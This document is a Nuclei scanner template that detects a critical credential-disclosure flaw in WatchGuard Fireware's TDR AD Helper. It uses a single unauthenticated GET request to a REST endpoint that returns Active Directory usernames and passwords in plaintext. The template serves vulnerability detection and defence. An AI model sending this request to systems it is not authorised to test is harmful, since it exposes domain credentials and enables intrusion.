id: watchguard-credentials-disclosure

info:
  name: WatchGuard Fireware AD Helper Component - Credentials Disclosure
  author: gy741
  severity: critical
  description: WatchGuard Fireware Threat Detection and Response (TDR) service contains a credential-disclosure vulnerability in the AD Helper component that allows unauthenticated attackers to gain Active Directory credentials for a Windows domain in plaintext.
  reference:
    - https://www.exploit-db.com/exploits/48203
    - https://www.watchguard.com/wgrd-blog/tdr-ad-helper-credential-disclosure-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-288
  metadata:
    max-request: 1
  tags: watchguard,disclosure,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/domains/list?sortCol=fullyQualifiedName&sortDir=asc"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"fullyQualifiedName"'
          - '"logonDomain"'
          - '"username"'
          - '"password"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e49b6d991b74a7be3709140ca3398658a35a880cd76efe9b1de97fc35e09d5f202201db1a578a366f60352b19bce5797ea96e7369775c496234dfe4f241dd99c5fb7:922c64590222798bb761d5b6d8e72950